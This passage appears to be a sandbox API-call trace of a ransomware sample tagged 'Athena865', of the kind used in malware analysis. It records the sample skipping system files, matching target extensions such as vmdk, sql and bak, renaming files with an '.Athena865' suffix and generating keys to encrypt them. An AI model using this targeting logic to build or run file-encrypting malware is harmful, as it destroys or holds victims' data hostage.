(lpString1="ipshrv.xml", lpString2="bootmgr") returned 1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="temp") returned -1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="pagefile.sys") returned -1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="boot") returned 1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="ids.txt") returned 1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="ntuser.dat") returned -1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="perflogs") returned -1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="MSBuild") returned -1 [0110.100] lstrlenW (lpString="ipshrv.xml") returned 10 [0110.100] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipshrv.xml" | out: lpString1="ipshrv.xml") returned="ipshrv.xml" [0110.100] lstrlenW (lpString="ipshrv.xml") returned 10 [0110.100] lstrlenW (lpString="Athena865") returned 9 [0110.100] lstrcmpiW (lpString1="pshrv.xml", lpString2="Athena865") returned 1 [0110.100] lstrlenW (lpString=".dll") returned 4 [0110.101] lstrcmpiW (lpString1="ipshrv.xml", lpString2=".dll") returned 1 [0110.101] lstrlenW (lpString=".lnk") returned 4 [0110.101] lstrcmpiW (lpString1="ipshrv.xml", lpString2=".lnk") returned 1 [0110.101] lstrlenW (lpString=".ini") returned 4 [0110.101] lstrcmpiW (lpString1="ipshrv.xml", lpString2=".ini") returned 1 [0110.101] lstrlenW (lpString=".sys") returned 4 [0110.101] lstrcmpiW (lpString1="ipshrv.xml", lpString2=".sys") returned 1 [0110.101] lstrlenW (lpString="ipshrv.xml") returned 10 [0110.101] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.Athena865") returned 71 [0110.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.athena865"), dwFlags=0x1) returned 1 [0110.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.102] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2652) returned 1 [0110.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.103] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.103] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.103] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.104] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd60, lpName=0x0) returned 0x17c [0110.105] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd60) returned 0x100000 [0110.106] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.106] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.106] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.108] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.108] CloseHandle (hObject=0x17c) returned 1 [0110.108] CloseHandle (hObject=0x154) returned 1 [0110.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.108] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2=".") returned 1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="..") returned 1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="windows") returned -1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="bootmgr") returned 1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="temp") returned -1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="pagefile.sys") returned -1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="boot") returned 1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="ids.txt") returned 1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="ntuser.dat") returned -1 [0110.108] lstrcmpiW (lpString1="ipsita.xml", lpString2="perflogs") returned -1 [0110.109] lstrcmpiW (lpString1="ipsita.xml", lpString2="MSBuild") returned -1 [0110.109] lstrlenW (lpString="ipsita.xml") returned 10 [0110.109] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsita.xml" | out: lpString1="ipsita.xml") returned="ipsita.xml" [0110.109] lstrlenW (lpString="ipsita.xml") returned 10 [0110.109] lstrlenW (lpString="Athena865") returned 9 [0110.109] lstrcmpiW (lpString1="psita.xml", lpString2="Athena865") returned 1 [0110.109] lstrlenW (lpString=".dll") returned 4 [0110.109] lstrcmpiW (lpString1="ipsita.xml", lpString2=".dll") returned 1 [0110.109] lstrlenW (lpString=".lnk") returned 4 [0110.109] lstrcmpiW (lpString1="ipsita.xml", lpString2=".lnk") returned 1 [0110.109] lstrlenW (lpString=".ini") returned 4 [0110.109] lstrcmpiW (lpString1="ipsita.xml", lpString2=".ini") returned 1 [0110.109] lstrlenW (lpString=".sys") returned 4 [0110.109] lstrcmpiW (lpString1="ipsita.xml", lpString2=".sys") returned 1 [0110.109] lstrlenW (lpString="ipsita.xml") returned 10 [0110.109] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.Athena865") returned 71 [0110.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.athena865"), dwFlags=0x1) returned 1 [0110.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.110] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2526) returned 1 [0110.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.111] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.111] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.111] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.111] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.111] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.112] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce0, lpName=0x0) returned 0x17c [0110.113] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce0) returned 0x100000 [0110.114] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.114] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.114] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.115] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.115] CloseHandle (hObject=0x17c) returned 1 [0110.115] CloseHandle (hObject=0x154) returned 1 [0110.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.116] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2=".") returned 1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="..") returned 1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="windows") returned -1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="bootmgr") returned 1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="temp") returned -1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="pagefile.sys") returned -1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="boot") returned 1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="ids.txt") returned 1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="ntuser.dat") returned -1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="perflogs") returned -1 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2="MSBuild") returned -1 [0110.116] lstrlenW (lpString="ipsjpn.xml") returned 10 [0110.116] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsjpn.xml" | out: lpString1="ipsjpn.xml") returned="ipsjpn.xml" [0110.116] lstrlenW (lpString="ipsjpn.xml") returned 10 [0110.116] lstrlenW (lpString="Athena865") returned 9 [0110.116] lstrcmpiW (lpString1="psjpn.xml", lpString2="Athena865") returned 1 [0110.116] lstrlenW (lpString=".dll") returned 4 [0110.116] lstrcmpiW (lpString1="ipsjpn.xml", lpString2=".dll") returned 1 [0110.116] lstrlenW (lpString=".lnk") returned 4 [0110.117] lstrcmpiW (lpString1="ipsjpn.xml", lpString2=".lnk") returned 1 [0110.117] lstrlenW (lpString=".ini") returned 4 [0110.117] lstrcmpiW (lpString1="ipsjpn.xml", lpString2=".ini") returned 1 [0110.117] lstrlenW (lpString=".sys") returned 4 [0110.117] lstrcmpiW (lpString1="ipsjpn.xml", lpString2=".sys") returned 1 [0110.117] lstrlenW (lpString="ipsjpn.xml") returned 10 [0110.117] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.Athena865") returned 71 [0110.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.athena865"), dwFlags=0x1) returned 1 [0110.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.118] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2522) returned 1 [0110.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.118] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.119] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.119] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.119] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce0, lpName=0x0) returned 0x17c [0110.121] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce0) returned 0x100000 [0110.121] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.122] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.122] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.123] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.123] CloseHandle (hObject=0x17c) returned 1 [0110.123] CloseHandle (hObject=0x154) returned 1 [0110.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.123] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2=".") returned 1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="..") returned 1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="windows") returned -1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="bootmgr") returned 1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="temp") returned -1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="pagefile.sys") returned -1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="boot") returned 1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="ids.txt") returned 1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="ntuser.dat") returned -1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="perflogs") returned -1 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2="MSBuild") returned -1 [0110.124] lstrlenW (lpString="ipskor.xml") returned 10 [0110.124] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipskor.xml" | out: lpString1="ipskor.xml") returned="ipskor.xml" [0110.124] lstrlenW (lpString="ipskor.xml") returned 10 [0110.124] lstrlenW (lpString="Athena865") returned 9 [0110.124] lstrcmpiW (lpString1="pskor.xml", lpString2="Athena865") returned 1 [0110.124] lstrlenW (lpString=".dll") returned 4 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2=".dll") returned 1 [0110.124] lstrlenW (lpString=".lnk") returned 4 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2=".lnk") returned 1 [0110.124] lstrlenW (lpString=".ini") returned 4 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2=".ini") returned 1 [0110.124] lstrlenW (lpString=".sys") returned 4 [0110.124] lstrcmpiW (lpString1="ipskor.xml", lpString2=".sys") returned 1 [0110.124] lstrlenW (lpString="ipskor.xml") returned 10 [0110.124] lstrlenW (lpString="bak") returned 3 [0110.125] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.125] lstrlenW (lpString="ba_") returned 3 [0110.125] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.125] lstrlenW (lpString="dbb") returned 3 [0110.125] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.125] lstrlenW (lpString="vmdk") returned 4 [0110.125] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.125] lstrlenW (lpString="rar") returned 3 [0110.125] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.125] lstrlenW (lpString="zip") returned 3 [0110.125] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.125] lstrlenW (lpString="tgz") returned 3 [0110.125] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.125] lstrlenW (lpString="vbox") returned 4 [0110.125] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.125] lstrlenW (lpString="vdi") returned 3 [0110.125] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.125] lstrlenW (lpString="vhd") returned 3 [0110.125] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.125] lstrlenW (lpString="vhdx") returned 4 [0110.125] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.125] lstrlenW (lpString="avhd") returned 4 [0110.125] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.125] lstrlenW (lpString="db") returned 2 [0110.125] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.125] lstrlenW (lpString="db2") returned 3 [0110.125] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.125] lstrlenW (lpString="db3") returned 3 [0110.125] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.125] lstrlenW (lpString="dbf") returned 3 [0110.126] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.126] lstrlenW (lpString="mdf") returned 3 [0110.126] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.126] lstrlenW (lpString="mdb") returned 3 [0110.126] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.126] lstrlenW (lpString="sql") returned 3 [0110.126] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.126] lstrlenW (lpString="sqlite") returned 6 [0110.126] lstrcmpiW (lpString1="or.xml", lpString2="sqlite") returned -1 [0110.126] lstrlenW (lpString="sqlite3") returned 7 [0110.126] lstrcmpiW (lpString1="kor.xml", lpString2="sqlite3") returned -1 [0110.126] lstrlenW (lpString="sqlitedb") returned 8 [0110.126] lstrcmpiW (lpString1="skor.xml", lpString2="sqlitedb") returned -1 [0110.126] lstrlenW (lpString="xml") returned 3 [0110.126] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.126] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.Athena865") returned 71 [0110.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.athena865"), dwFlags=0x1) returned 1 [0110.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.128] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2568) returned 1 [0110.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.128] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.129] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.129] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.129] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd10, lpName=0x0) returned 0x17c [0110.131] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd10) returned 0x100000 [0110.132] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.132] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.132] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 